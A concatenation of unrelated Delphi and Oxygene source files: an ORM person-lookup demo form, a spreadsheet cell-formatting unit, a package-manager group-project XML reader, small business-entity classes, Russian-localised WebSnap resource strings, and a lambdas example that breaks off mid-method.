Manager := TObjectManager.Create(Connection);
try
Manager.OwnsObjects := false; // Make FLastPersonFound to exist after manager is destroyed
if FLastPersonFound <> nil then
FLastPersonFound.Free;
FLastPersonFound := Manager.Find<TPerson>(StrToInt(edIdToFind.Text));
if FLastPersonFound <> nil then
begin
lbFoundPerson.Caption := FLastPersonFound.FirstName + ' ' + FLastPersonFound.LastName;
edEmailToUpdate.Text := FLastPersonFound.Email;
btUpdateEmail.Enabled := True;
end else
begin
lbFoundPerson.Caption := '(no person found)';
edEmailToUpdate.Text := '';
btUpdateEmail.Enabled := False;
end;
finally
Manager.Free;
end;
end;
procedure TForm1.btListPeopleClick(Sender: TObject);
var
PersonName: string;
Manager: TObjectManager;
PersonList: TObjectList<TPerson>;
Person: TPerson;
begin
PersonName := Trim(edNameToFind.Text);
if PersonName = '' then
begin
ShowMessage('Please specify a criteria.');
Exit;
end;
PersonName := '%' + PersonName + '%'; // create a mask
Manager := TObjectManager.Create(Connection);
try
PersonList := Manager.CreateCriteria<TPerson>
.Where(TLinq.Like('FirstName', PersonName) or (TLinq.Like('LastName', PersonName)))
.AddOrder(TOrder.Asc('FirstName'))
.List;
try
lbResults.Items.Clear;
for Person in PersonList do
lbResults.Items.Add(Format('(%d) %s %s - %s',
[Person.Id,
Person.FirstName,
Person.LastName,
Person.Email
]));
finally
PersonList.Free;
end;
finally
Manager.Free;
end;
end;
procedure TForm1.btSavePersonClick(Sender: TObject);
var
Person: TPerson;
Manager: TObjectManager;
begin
Person := TPerson.Create;
Person.LastName := edLastName.Text;
Person.FirstName := edFirstName.Text;
Person.Email := edEmail.Text;
Manager := TObjectManager.Create(Connection);
try
Manager.Save(Person);
Manager.Flush;
edLastId.Text := IntToStr(Person.Id);
finally
Manager.Free;
end;
end;
procedure TForm1.btUpdateEmailClick(Sender: TObject);
var
Manager: TObjectManager;
begin
FLastPersonFound.Email := edEmailToUpdate.Text;
Manager := TObjectManager.Create(Connection);
try
Manager.OwnsObjects := false;
Manager.Update(FLastPersonFound);
Manager.Flush;
finally
Manager.Free;
end;
end;
function TForm1.Connection: IDBConnection;
begin
Result := TDBConnection.GetInstance.Connection;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
UpdateInterface;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
if FLastPersonFound <> nil then
FLastPersonFound.Free;
end;
procedure TForm1.UpdateInterface;
begin
if TDBConnection.GetInstance.HasConnection then
lbConnection.Caption := 'Connection configured.';
PageControl1.Visible := TDBConnection.GetInstance.HasConnection;
PageControl1.ActivePageIndex := 0;
end;
end.
|
unit ApplyFormat;
{-
********************************************************************************
******* XLSReadWriteII V3.00 *******
******* *******
******* Copyright(C) 1999,2006 Lars Arvidsson, Axolot Data *******
******* *******
******* email: components@axolot.com *******
******* URL: http://www.axolot.com *******
********************************************************************************
** Users of the XLSReadWriteII component must accept the following **
** disclaimer of warranty: **
** **
** XLSReadWriteII is supplied as is. The author disclaims all warranties, **
** expressedor implied, including, without limitation, the warranties of **
** merchantability and of fitness for any purpose. The author assumes no **
** liability for damages, direct or consequential, which may result from the **
** use of XLSReadWriteII. **
********************************************************************************
}
{$B-}
{$H+}
{$R-}
{$I XLSRWII2.inc}
interface
uses Classes, SysUtils, CellFormats2, Cell2,CellStorage2, BIFFRecsII2,
XLSUtils2, XLSFonts2, Graphics;
type
// NOTE! TApplyFormat is kept for backward compatibility. Use the ~[link SheetData2.TSheet.Range TSheet.Range] property insted.
TApplyFormat = class(TObject)
private
FFmt: TCellFormat;
FFormats: TCellFormats;
FCells: TCellStorage;
FGetDefaultFormatEvent: TGetDefaultFormatEvent;
function GetCell(Col, Row: integer): TCell;
public
//* ~exclude
constructor Create(Formats: TCellFormats; Cells: TCellStorage);
//* ~exclude
destructor Destroy; override;
//* TApplyFormat is kept for backward compatibility. Use the ~[link SheetData2.TSheet.Range TSheet.Range] property insted.
//* ~param Col1 Left column.
//* ~param Row1 Top row.
//* ~param Col2 Right column.
//* ~param Row2 Bottom row.
procedure ClearFormats(Col1, Row1, Col2, Row2: integer);
//* TApplyFormat is kept for backward compatibility. Use the ~[link SheetData2.TSheet.Range TSheet.Range] property insted.
//* ~param Col1 Left column.
//* ~param Row1 Top row.
//* ~param Col2 Right column.
//* ~param Row2 Bottom row.
//* ~param Border Celll border style.
//* ~param CellColor Cell fill color.
//* ~param BorderColor Cell border color.
procedure Box(Col1, Row1, Col2, Row2: integer; Border: TCellBorderStyle; CellColor,BorderColor: TExcelColor);
//* TApplyFormat is kept for backward compatibility. Use the ~[link SheetData2.TSheet.Range TSheet.Range] property insted.
//* ~param Col1 Left column.
//* ~param Row1 Top row.
//* ~param Col2 Right column.
//* ~param Row2 Bottom row.
//* ~param Color Cell fill color.
procedure Color(Col1, Row1, Col2, Row2: integer; Color: TExcelColor);
//* TApplyFormat is kept for backward compatibility. Use the ~[link SheetData2.TSheet.Range TSheet.Range] property insted.
//* ~param Col1 Left column.
//* ~param Row1 Top row.
//* ~param Col2 Right column.
//* ~param Row2 Bottom row.
//* ~param SrcCell The cell to copy the formatting from.
procedure Format(Col1, Row1, Col2, Row2: integer; SrcCell: TCell);
//* TApplyFormat is kept for backward compatibility. Use the ~[link SheetData2.TSheet.Range TSheet.Range] property insted.
//* ~param Col1 Left column.
//* ~param Row1 Top row.
//* ~param Col2 Right column.
//* ~param Row2 Bottom row.
//* ~param HorizAlignment Horizontal text alignment for the cells.
//* ~param VertAlignment Vertcal text alignment for the cells.
procedure Alignment(Col1, Row1, Col2, Row2: integer; HorizAlignment: TCellHorizAlignment; VertAlignment: TCellVertAlignment);
//* TApplyFormat is kept for backward compatibility. Use the ~[link SheetData2.TSheet.Range TSheet.Range] property insted.
//* ~param Col1 Left column.
//* ~param Row1 Top row.
//* ~param Col2 Right column.
//* ~param Row2 Bottom row.
//* ~param Font The font to use for the cells.
procedure Font(Col1, Row1, Col2, Row2: integer; Font: TFont); overload;
//* TApplyFormat is kept for backward compatibility. Use the ~[link SheetData2.TSheet.Range TSheet.Range] property insted.
//* ~param Col1 Left column.
//* ~param Row1 Top row.
//* ~param Col2 Right column.
//* ~param Row2 Bottom row.
//* ~param Font The font to use for the cells.
procedure Font(Col1, Row1, Col2, Row2: integer; Font: TXFont); overload;
//* TApplyFormat is kept for backward compatibility. Use the ~[link SheetData2.TSheet.Range TSheet.Range] property insted.
//* ~result The created format.
function CreateDefault: TCellFormat;
//* TApplyFormat is kept for backward compatibility. Use the ~[link SheetData2.TSheet.Range TSheet.Range] property insted.
property OnGetDefaultFormat: TGetDefaultFormatEvent read FGetDefaultFormatEvent write FGetDefaultFormatEvent;
end;
implementation
{ TApplyFormat }
procedure TApplyFormat.Alignment(Col1, Row1, Col2, Row2: integer; HorizAlignment: TCellHorizAlignment; VertAlignment: TCellVertAlignment);
var
Col,Row: integer;
begin
for Col := Col1 to Col2 do begin
for Row := Row1 to Row2 do begin
if FCells[ColRowToRC(Col,Row)] <> Nil then begin
FCells[ColRowToRC(Col,Row)].HorizAlignment := HorizAlignment;
FCells[ColRowToRC(Col,Row)].VertAlignment := VertAlignment;
end;
end;
end;
end;
procedure TApplyFormat.Box(Col1, Row1, Col2, Row2: integer; Border: TCellBorderStyle; CellColor,BorderColor: TExcelColor);
var
Col,Row: integer;
BoxType: integer;
Cell: TCell;
procedure ApplyBox;
begin
case BoxType of
1: begin
FFmt.BorderLeftStyle := Border;
FFmt.BorderTopStyle := Border;
FFmt.BorderRightStyle := Border;
FFmt.BorderBottomStyle := Border;
end;
2: begin
if Row = Row1 then begin
FFmt.BorderLeftStyle := Border;
FFmt.BorderTopStyle := Border;
FFmt.BorderRightStyle := Border;
end
else if Row = Row2 then begin
FFmt.BorderLeftStyle := Border;
FFmt.BorderRightStyle := Border;
FFmt.BorderBottomStyle := Border;
end
else begin
FFmt.BorderLeftStyle := Border;
FFmt.BorderRightStyle := Border;
end;
end;
3: begin
if Col = Col1 then begin
FFmt.BorderLeftStyle := Border;
FFmt.BorderTopStyle := Border;
FFmt.BorderBottomStyle := Border;
end
else if Col = Col2 then begin
FFmt.BorderTopStyle := Border;
FFmt.BorderRightStyle := Border;
FFmt.BorderBottomStyle := Border;
end
else begin
FFmt.BorderTopStyle := Border;
FFmt.BorderBottomStyle := Border;
end;
end;
4: begin
if (Col = Col1) and (Row = Row1) then begin
FFmt.BorderLeftStyle := Border;
FFmt.BorderTopStyle := Border;
end
else if (Col = Col2) and (Row = Row1) then begin
FFmt.BorderTopStyle := Border;
FFmt.BorderRightStyle := Border;
end
else if (Col = Col1) and (Row = Row2) then begin
FFmt.BorderLeftStyle := Border;
FFmt.BorderBottomStyle := Border;
end
else if (Col = Col2) and (Row = Row2) then begin
FFmt.BorderRightStyle := Border;
FFmt.BorderBottomStyle := Border;
end
else if Col = Col1 then
FFmt.BorderLeftStyle := Border
else if Col = Col2 then
FFmt.BorderRightStyle := Border
else if Row = Row1 then
FFmt.BorderTopStyle := Border
else if Row = Row2 then
FFmt.BorderBottomStyle := Border;
end;
end;
end;
begin
FFmt.Assign(FFormats[DEFAULT_FORMAT]);
if (Col1 = Col2) and (Row1 = Row2) then
BoxType := 1
else if Col1 = Col2 then
BoxType := 2
else if Row1 = Row2 then
BoxType := 3
else
BoxType := 4;
for Col := Col1 to Col2 do begin
for Row := Row1 to Row2 do begin
// Don't add blank cells with xcAutomatic color
if (CellColor = xcAutomatic) and not ((Col = Col1) or (Col = Col2) or (Row = Row1) or (Row = Row2)) then
Continue;
Cell := GetCell(Col,Row);
ApplyBox;
if CellColor <> xcAutomatic then
FFmt.FillPatternForeColor := CellColor;
FFmt.BorderLeftColor := BorderColor;
FFmt.BorderTopColor := BorderColor;
FFmt.BorderRightColor := BorderColor;
FFmt.BorderBottomColor := BorderColor;
Cell.AssignFormat(FFmt);
end;
end;
end;
procedure TApplyFormat.ClearFormats(Col1, Row1, Col2, Row2: integer);
var
Col,Row: integer;
Cell: TCell;
begin
for Col := Col1 to Col2 do begin
for Row := Row1 to Row2 do begin
Cell := FCells[ColRowToRC(Col,Row)];
if Cell <> Nil then begin
if Cell.CellType = ctBlank then
FCells.Delete(ColRowToRC(Col,Row))
else
Cell.SetDefaultFormat;
end;
end;
end;
end;
procedure TApplyFormat.Color(Col1, Row1, Col2, Row2: integer; Color: TExcelColor);
var
Col,Row: integer;
Cell: TCell;
begin
for Col := Col1 to Col2 do begin
for Row := Row1 to Row2 do begin
Cell := GetCell(Col,Row);
Cell.FillPatternForeColor := Color;
end;
end;
end;
constructor TApplyFormat.Create(Formats: TCellFormats; Cells: TCellStorage);
begin
FFormats := Formats;
FCells := Cells;
FFmt := TCellFormat.Create(Formats);
end;
destructor TApplyFormat.Destroy;
begin
FFmt.Free;
inherited;
end;
procedure TApplyFormat.Format(Col1, Row1, Col2, Row2: integer; SrcCell: TCell);
var
Col,Row: integer;
Cell: TCell;
begin
for Col := Col1 to Col2 do begin
for Row := Row1 to Row2 do begin
Cell := GetCell(Col,Row);
Cell.AssignFormat(FFormats[SrcCell.FormatIndex]);
end;
end;
end;
function TApplyFormat.GetCell(Col, Row: integer): TCell;
begin
Result := FCells[ColRowToRC(Col,Row)];
if Result <> Nil then
FFmt.Assign(FFormats[Result.FormatIndex])
else begin
Result := TBlankCell.Create(ColRowToRC(Col,Row),FFormats,FGetDefaultFormatEvent(Col,Row));
FFmt.Assign(FFormats[Result.FormatIndex]);
FCells[ColRowToRC(Col,Row)] := Result;
end;
end;
function TApplyFormat.CreateDefault: TCellFormat;
begin
Result := FFormats.Add;
Result.Assign(FFormats[DEFAULT_FORMAT]);
end;
procedure TApplyFormat.Font(Col1, Row1, Col2, Row2: integer; Font: TFont);
var
Col,Row: integer;
begin
for Col := Col1 to Col2 do begin
for Row := Row1 to Row2 do begin
if FCells[ColRowToRC(Col,Row)] <> Nil then
FCells[ColRowToRC(Col,Row)].AssignFont(Font);
end;
end;
end;
procedure TApplyFormat.Font(Col1, Row1, Col2, Row2: integer; Font: TXFont);
var
Col,Row: integer;
begin
raise Exception.Create('Not implemented.');
for Col := Col1 to Col2 do begin
for Row := Row1 to Row2 do begin
if FCells[ColRowToRC(Col,Row)] <> Nil then
// FCells[ColRowToRC(Col,Row)].AssignFont(Font);
end;
end;
end;
end.
|
{***************************************************************************}
{ }
{ Delphi Package Manager - DPM }
{ }
{ Copyright © 2019 Vincent Parrett and contributors }
{ }
{ vincent@finalbuilder.com }
{ https://www.finalbuilder.com }
{ }
{ }
{***************************************************************************}
{ }
{ Licensed under the Apache License, Version 2.0 (the "License"); }
{ you may not use this file except in compliance with the License. }
{ You may obtain a copy of the License at }
{ }
{ http://www.apache.org/licenses/LICENSE-2.0 }
{ }
{ Unless required by applicable law or agreed to in writing, software }
{ distributed under the License is distributed on an "AS IS" BASIS, }
{ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. }
{ See the License for the specific language governing permissions and }
{ limitations under the License. }
{ }
{***************************************************************************}
unit DPM.Core.Project.GroupProjReader;
interface
uses
Spring.Collections,
DPM.Core.Logging,
DPM.Core.MSXML,
DPM.Core.Project.Interfaces;
type
TGroupProjectReader = class(TInterfacedObject, IGroupProjectReader)
private
FLogger : ILogger;
FXmlDoc : IXMLDOMDocument;
protected
function ExtractProjects(const list : IList<string>) : boolean;
function LoadGroupProj(const groupProjFile : string) : Boolean;
procedure Close;
public
constructor Create(const logger : ILogger);
end;
implementation
uses
System.SysUtils;
const
projectXPath = '/x:Project/x:ItemGroup/x:Projects';
{ TGroupProjectReader }
procedure TGroupProjectReader.Close;
begin
FXmlDoc := nil;
end;
constructor TGroupProjectReader.Create(const logger : ILogger);
begin
FLogger := logger;
end;
function TGroupProjectReader.ExtractProjects(const list : IList<string> ) : boolean;
var
projectNodes : IXMLDOMNodeList;
projectElement : IXMLDOMElement;
i : integer;
begin
result := false;
list.Clear;
if FXmlDoc = nil then
begin
FLogger.Error('No project was loaded');
exit;
end;
projectNodes := FXmlDoc.selectNodes(projectXPath);
if projectNodes.length = 0 then
begin
FLogger.Error('The group project contains 0 projects');
FXmlDoc := nil;
exit;
end;
for i := 0 to projectNodes.length - 1 do
begin
projectElement := projectNodes.item[i] as IXMLDOMElement;
if projectElement.getAttributeNode('Include') <> nil then
list.Add(projectElement.getAttribute('Include'))
end;
if list.Count = 0 then
FLogger.Error('The group project contains 0 projects')
else
result := true;
end;
function TGroupProjectReader.LoadGroupProj(const groupProjFile : string) : Boolean;
begin
result := true;
FXmlDoc := CoDOMDocument60.Create;
try
if not FXmlDoc.load(groupProjFile) then
begin
result := false;
FLogger.Error('Error parsing group project [' + groupProjFile + ']');
FLogger.Error(' ' + FXmlDoc.parseError.reason);
FXmlDoc := nil;
end;
(FXmlDoc as IXMLDOMDocument2).setProperty('SelectionLanguage', 'XPath');
(FXmlDoc as IXMLDOMDocument2).setProperty('SelectionNamespaces', 'xmlns:x=''http://schemas.microsoft.com/developer/msbuild/2003''');
except
on e : Exception do
begin
FLogger.Error('Error loading group project [' + groupProjFile + '] ' + e.Message);
end;
end;
end;
end.
|
unit UNaturezaJuridicaVO;
interface
uses Atributos, Classes, Constantes, Generics.Collections, SysUtils, UGenericVO;
type
[TEntity]
[TTable('NaturezaJuridica')]
TNaturezaJuridicaVO = class(TGenericVO)
private
FidNatureza: Integer;
FcodigoNatureza : String;
Fdescricao: String;
public
[TId('idNatureza')]
[TGeneratedValue(sAuto)]
property idNatureza: Integer read FidNatureza write FidNatureza;
[TColumn('CODIGONATUREZA','Nat. Jurídica',50,[ldGrid], False)]
property codigoNatureza: String read FcodigoNatureza write FcodigoNatureza;
[TColumn('DESCRICAO','Descrição',400,[ldGrid], False)]
property descricao: String read Fdescricao write Fdescricao;
function ValidarCamposObrigatorios:boolean;
end;
implementation
{ TNaturezaJuridicaVO }
function TNaturezaJuridicaVO.ValidarCamposObrigatorios: boolean;
begin
Result := true;
if (Self.FcodigoNatureza = '') then
begin
raise Exception.Create('O campo Natureza Jurídica é obrigatório!');
Result := false;
end
else if (Self.Fdescricao = '') then
begin
raise Exception.Create('O campo Descrição é obrigatório!');
Result := false;
end;
end;
end.
|
unit CSoporte;
interface
uses
SysUtils,
classes,
contnrs,
COpDivSystemRecord;
const
kSopTipoItem = 'TIPO';
kSopFechaItem = 'FECHA';
kSopNumItem = 'NUMSOPORTE';
kSopEstacionItem = 'ESTACION';
type
TTipoSoporte = ( tsDocumental, tsNoDocumental );
TSoporte = class( TObject )
protected
FTipo: TTipoSoporte;
FFechaSoporte: TDateTime;
FNumOrden: Integer;
FStationID: String;
FRegistrosAsociados: TObjectList;
procedure setOwnsRecords( aValue: boolean );
function getOwnsRecords: Boolean;
function getImporte: Double;
function getNumRegistros: Integer;
public
property Tipo: TTipoSoporte read FTipo write FTipo;
property FechaSoporte: TDateTime read FFechaSoporte write FFechaSoporte;
property NumOrden: Integer read FNumOrden write FNumOrden;
property Importe: Double read getImporte;
property NumRegistros: Integer read getNumRegistros;
property StationID: String read FStationID write FStationID;
property OwnsRecordsPointers: boolean read getOwnsRecords write setOwnsRecords;
constructor Create; virtual;
destructor Destroy; override;
procedure AddRegistro( unRegistro: TOpDivSystemRecord );
procedure ClearRegistros;
procedure getRegistros( aObjectList: TObjectList );
procedure getRegistrosAsOIDS( aStrings: TStrings );
procedure getRegistrosAsOIDSWithRef(aStrings: TStrings);
function getDesc: String;
//*** utilidades auxiliares de conversion (funciones de clase)
class function tipoToStr( unTipo: TTipoSoporte ): String;
class function strToTipo( const unaString: String ): TTipoSoporte;
end;
implementation
uses
rxStrUtils;
(************
MÉTODOS PRIVADOS
************)
procedure TSoporte.setOwnsRecords( aValue: Boolean );
begin
FRegistrosAsociados.OwnsObjects := aValue;
end;
function TSoporte.getOwnsRecords: Boolean;
begin
Result := FRegistrosAsociados.OwnsObjects;
end;
function TSoporte.getImporte: Double;
var
iRecord: Integer;
begin
Result := 0.0;
for iRecord := 0 to FRegistrosAsociados.Count - 1 do
Result := Result + TOpDivSystemRecord(FregistrosAsociados.Items[iRecord]).ImportePrinOp;
end;
function TSoporte.getNumRegistros: Integer;
begin
Result := FRegistrosAsociados.Count;
end;
(************
MÉTODOS PÚBLICOS
************)
constructor TSoporte.Create;
begin
inherited;
FTipo := tsDocumental ;
FFechaSoporte := Now();
FNumOrden := 0;
FRegistrosAsociados := TObjectList.Create();
FRegistrosAsociados.OwnsObjects := false;
FRegistrosAsociados.Clear();
end;
destructor TSoporte.Destroy();
begin
FRegistrosAsociados.Free();
inherited;
end;
//***
procedure TSoporte.AddRegistro( unRegistro: TOpDivSystemRecord );
begin
FRegistrosAsociados.Add( unRegistro );
end;
procedure TSoporte.ClearRegistros;
begin
FRegistrosAsociados.Clear();
end;
procedure TSoporte.getRegistrosAsOIDS( aStrings: TStrings );
var
iRegistro: Integer;
begin
aStrings.Clear();
for iRegistro := 0 to FRegistrosAsociados.Count -1 do
aStrings.Add( TOpDivSystemRecord( FRegistrosAsociados.Items[iRegistro] ).OID);
end;
procedure TSoporte.getRegistrosAsOIDSWithRef( aStrings: TStrings );
var
iRegistro: Integer;
begin
aStrings.Clear();
for iRegistro := 0 to FRegistrosAsociados.Count -1 do
aStrings.Add( TOpDivSystemRecord( FRegistrosAsociados.Items[iRegistro] ).OID + '=' + TOpDivSystemRecord( FRegistrosAsociados.Items[iRegistro] ).OpRef );
end;
procedure TSoporte.getRegistros( aObjectList: TObjectList );
begin
aObjectList.OwnsObjects := false; // nunca le pertenecen
aObjectList.Assign(FRegistrosAsociados);
end;
function TSoporte.getDesc: String;
begin
Result := formatDateTime('yyyymmdd', FFechaSoporte) + AddChar('0', intToStr(FNumOrden), 3);
end;
(************
MÉTODOS DE CLASE
************)
class function TSoporte.tipoToStr( unTipo: TTipoSoporte ): String;
begin
if unTipo = tsDocumental then Result := 'DOCUMENTAL'
else Result := 'NO DOCUMENTAL';
end;
class function TSoporte.strToTipo( const unaString: String ): TTipoSoporte;
begin
if unaString = 'DOCUMENTAL' then Result := tsDocumental
else Result := tsNoDocumental;
end;
end.
|
{*******************************************************}
{ }
{ Borland Delphi Visual Component Library }
{ }
{ Copyright (c) 2001 Borland Software Corporation }
{ }
{ Русификация: 2001-02 Polaris Software }
{ http://polesoft.da.ru }
{*******************************************************}
unit SiteConst;
interface
resourcestring
// Adapter errors
sFieldRequiresAValue = 'Поле %s требует значение';
sFieldDoesNotAllowMultipleValues = '%s не допускает множественные значения';
sFieldDoesNotAllowMultipleFiles = '%s не допускает множественные файлы';
sFieldRequiresAFile = '%s требует файл';
sFieldModificationNotPermitted = 'Изменение %s не допустимо';
sActionExecutionNotPermitted = 'Выполнение действия %s не допустимо';
sFieldViewNotPermitted = 'Просмотр поля не допустим';
sAdapterModificationNotPermitted = 'Изменение данных не допустимо';
sFileUploadNotSupported = '%s не поддерживает закачку файлов';
sNoLoginPage = 'Страница входа не определена';
sPageNotFound = 'Web-страница не найдена: %s';
sPageContentNotProvided = 'Web-страница не предоставляло содержимого';
sImageNotProvided = 'Поле %s не предоставляло изображения';
// DataSetAdapter errors
sUnknownAdapterMode = 'Неизвестный режим адаптера: %s';
sNilAdapterDataSet = 'DataSet равен nil';
sAdapterRowNotFound = 'Строка не найдена в %s';
sFieldChangedByAnotherUser = 'Поле %s изменено другим пользователем';
sAdapterFieldNotFound = 'Поле не найдено: %s';
sDataSetPropertyIsNil = '%s: свойство DataSet равно nil';
sDataSetUnknownKeyFields = '%0:s: Dataset %1:s неизв. ключевые поля';
sDataSetNotActive = '%0:s: Dataset %1:s не активен';
sValueFieldIsBlank = '%0:s: значение свойства ValueField - пустое';
// XSLPageProducer errors
SNoXMLData = 'Отсутствует компонент данных XML';
SNoXMLDocument = 'Не могу создать XMLDocument';
// Add Adapter Fields Editor
sAddAdapterData = 'Добавить поля...';
sAddAllAdapterData = 'Добавить все поля';
sAddAdapterDataDlgCaption = 'Добавление полей';
sAddAdapterActions = 'Добавить действия...';
sAddAllAdapterActions = 'Добавить все действия';
sAddAdapterActionsDlgCaption = 'Добавление действий';
sAdapterActionsPrefix = 'Action'; // Do not location
sAddCommands = 'Добавить команды...';
sAddAllCommands = 'Добавить все команды';
sAddCommandsDlgCaption = 'Добавление команд';
sAddColumns = 'Добавить колонки...';
sAddAllColumns = 'Добавить все колонки';
sAddColumnsDlgCaption = 'Добавление колонок';
sAddFieldItems = 'Добавить поля...';
sAddAllFieldItems = 'Добавить все поля';
sAddFieldItemsDlgCaption = 'Добавление полей';
// SitePageProducer errors
sAdapterPropertyIsNil = '%s: свойство Adapter равно nil';
sAdapterFieldNameIsBlank = '%s: пустое имя поля';
sCantFindAdapterField = '%0:s: поле %1:s не найдено в связанном Adapter'; // 0 - Component name, 1 - Adapter Field name
sAdapterActionNameIsBlank = '%s: пустое имя действия';
sCantFindAdapterAction = '%0:s: действие %1:s не найдено в связанном Adapter'; // 0 - Component name, 1 - Adapter Action name
sDisplayComponentPropertyIsNil = '%s: свойство DisplayComponent равно nil';
sNoHandler = 'Нет обработчиков запросов обрабатывающих этот запрос. ' +
'Свойства WebAppComponents PageDispatcher, AdapterDispatcher или DispatchActions должны быть установлены.';
// LoginAdapter validation
sBlankPassword = 'Пароль не должен быть пустым';
sBlankUserName = 'Имя пользователя не должно быть пустым';
// Dispatcher errors
sAdapterRequestNotHandled = 'Запрос адаптера не управляем: %0:s, %1:s'; // 0 - Request identifier, 1 - object identifier
sDispatchBlankPageName = 'Dispatching blank page name';
sPageAccessDenied = 'Доступ к странице закрыт';
sPageDoesNotSupportRedirect = 'Web-страница не поддерживает перенаправление';
// Include errors
sCantFindIncludePage = 'Не могу найти включенную страницу: %s';
sInclusionNotSupported = 'Страница %s не поддерживает вложение';
sRecursiveIncludeFile = 'Включенный файл %s содержит сам себя';
// DB Image errors
{$IFNDEF VER140}
sIncorrectImageFormat = 'Неправильный формат изображения (%0:s) для поля %1:s';
{$ELSE}
sIncorrectImageFormat = 'Неправильный формат изображения (%s) для поля %s';
{$ENDIF}
sFileExpected = 'Закаченный файл ожидается для поля %s';
// WebUserList names - must be valid identifiers
sWebUserName = 'UserName';
sWebUserPassword = 'Password';
sWebUserAccessRights = 'AccessRights';
// WebUserList errors
sUserIDNotFound = 'UserID не найден';
sInvalidPassword = 'Неверный пароль';
sMissingPassword = 'Отсутствует пароль';
sUnknownUserName = 'Неизвестное имя пользователя';
sMissingUserName = 'Отсутствует имя пользователя';
// Script errors
sCannotCreateScriptEngine = 'Не могу создать script engine: %s. Ошибка: %x';
sCannotInitializeScriptEngine = 'Не могу инициализировать script engine';
sScriptEngineNotFound = 'Script engine не найден: %s.';
sObjectParameterExpected = 'Script Object ожидается';
sIntegerParameterExpected = 'Целочисленный параметр ожидается';
sUnexpectedParameterType = 'Неожиданный тип параметра';
sUnexpectedResultType = 'Неожиданный возвращаемый тип';
sDuplicatePrototypeName = 'Неуникальное имя прототипа';
sBooleanParameterExpected = 'Параметр логического типа ожидается';
sDoubleParameterExpected = 'Параметр типа Double ожидается';
sUnexpectedScriptError = 'Неожиданная ошибка скрипта';
// 0 - Error index number
// 1 - Error description
// 2 - Line number
// 3 - character position number
// 4 - source line text
sScriptErrorTemplate =
{$IFNDEF VER140}
'<table width="95%%" border="1" cellspacing="0" bordercolor="#C0C0C0">' + SLineBreak +
'<tr>' + SLineBreak +
'<td colspan=2>' + SLineBreak +
'<font color="#727272"><b>Ошибка[' + '%0:d' + ']:</b> ' + SLineBreak +
'%1:s' + SLineBreak +
'</font>' + SLineBreak +
'</td>' + SLineBreak +
'</tr>' + SLineBreak +
'<tr>' + SLineBreak +
'<td>' + SLineBreak +
'<font color="#727272"><b>Строка:</b> ' + SLineBreak +
'%2:d' + SLineBreak +
'</font>' + SLineBreak +
'</td>' + SLineBreak +
'<td>' + SLineBreak +
'<font color="#727272"><b>Позиция:</b> ' + SLineBreak +
'%3:d' + SLineBreak +
'</font>' + SLineBreak +
'</td>' + SLineBreak +
'</tr>' + SLineBreak +
(* Don't display source text
'<tr>' + SLineBreak +
'<td colspan=2>' + SLineBreak +
'<font color="#727272"><b>Source Text:</b> ' + SLineBreak +
'%4:s' + SLineBreak +
'</font>' + SLineBreak +
'</td>' + SLineBreak +
'</tr>' + SLineBreak +
*)
'</table>' + SLineBreak;
{$ELSE}
'<table width="95%%" border="1" cellspacing="0" bordercolor="#C0C0C0">'#13#10 +
'<tr>'#13#10 +
'<td colspan=2>'#13#10 +
'<font color="#727272"><b>Ошибка[' + '%0:d' + ']:</b> '#13#10 +
'%1:s'#13#10 +
'</font>'#13#10 +
'</td>'#13#10 +
'</tr>'#13#10 +
'<tr>'#13#10 +
'<td>'#13#10 +
'<font color="#727272"><b>Строка:</b> '#13#10 +
'%2:d'#13#10 +
'</font>'#13#10 +
'</td>'#13#10 +
'<td>'#13#10 +
'<font color="#727272"><b>Позиция:</b> '#13#10 +
'%3:d'#13#10 +
'</font>'#13#10 +
'</td>'#13#10 +
'</tr>'#13#10 +
(* Don't display source text
'<tr>'#13#10 +
'<td colspan=2>'#13#10 +
'<font color="#727272"><b>Source Text:</b> '#13#10 +
'%4:s'#13#10 +
'</font>'#13#10 +
'</td>'#13#10 +
'</tr>'#13#10 +
*)
'</table>'#13#10;
{$ENDIF}
sMaximumSessionsExceeded = 'Превышено максимальное количество сессий';
sVariableNotFound = 'Переменная не найдена: %s';
sComponentDoesNotSupportScripting = 'Компонент не поддерживает scripting. Класс: %0:s, Имя: %1:s';
sClassDoesNotSupportScripting = 'Объект не поддерживает scripting. Класс: %0:s';
sParameterExpected = 'Параметр ожидается';
sStringParameterExpected = 'Строковый параметр ожидается';
sInvalidImageSize = 'Неверное изображение (размер меньше 4 байт).';
// File include errors
sIncDblQuoteError = 'Ошибка включения файла (include) в строке %d: ожидается "';
sIncEqualsError = 'Ошибка включения файла (include) в строке %d: ожидается =';
sIncTypeError = 'Ошибка включения файла (include) в строке %d: ожидается virtual, файл, или страница, но найдено %s.';
{$IFNDEF VER140}
sUnknownImageType = 'неизвестный';
// WebSnapObjs.pas scripting errors
sComponentNotFound = 'Компонент %s не найден';
sCountFromComponentsNotSupported = 'Вызов Count у объекта TComponentsEnumerator не поддерживается';
sInterfaceCompRefExpected = 'Компонент ожидается для реализации IInterfaceComponentReference для поддержки ValuesList';
sErrorsObjectNeedsIntf = 'Объект ошибок должен поддерживать интерфейс IIterateIntfSupport';
{$ENDIF}
implementation
end.
|
namespace Lambdas;
interface
uses System.Collections.Generic,
System.Linq;
type
ConsoleApp = class
public
class method Main;
method FillPersons();
method Test();
method SumAge(): Integer;
var persons: List<Person>;
end;
type
Person = public class
public
property Name: String;
property Age: Integer;
constructor (setName: String; setAge: Integer);
end;
implementation
class method ConsoleApp.Main;
begin
Console.WriteLine('Lambdas example');
Console.WriteLine;
with lMyConsoleApp := new ConsoleApp() do begin
lMyConsoleApp.FillPersons;
lMyConsoleApp.Test;
end;
Console.ReadLine;
end;
method ConsoleApp.Test;
begin
{Lambda expressions may not to return result and be used as actions}
var printOut : Action<String> := s -> Console.WriteLine(s);
{Multi-parameter Lambda}
var printTwoStrings : Action<String, String> := (s1, s2) -> Console.WriteLine(s1 + s2);
persons.Sort((p1, p2) -> p1.Name.CompareTo(p2.Name));
{The result is sequence of values such as "John Smith (35)"}
var personsNameAge := persons.Select(p -> p.Name + ' ('+p.Age.ToString+')');
printOut('People:');
for each p in personsNameAge do
printOut(p.ToString);
{Lambda expressions without parameters}
var averageAge: future Integer := -> SumAge / persons.Count;
printOut('');
printTwoStrings('The average age is: ', averageAge.ToString);
{Lambda expressions are most notable used with the Query Operators}
var youngPersons := persons.Where(p -> p.Age < 30).OrderBy(p -> p.Age);
printOut('');
printOut('People, younger then 30, sorted by age:');
for each p in youngPersons do
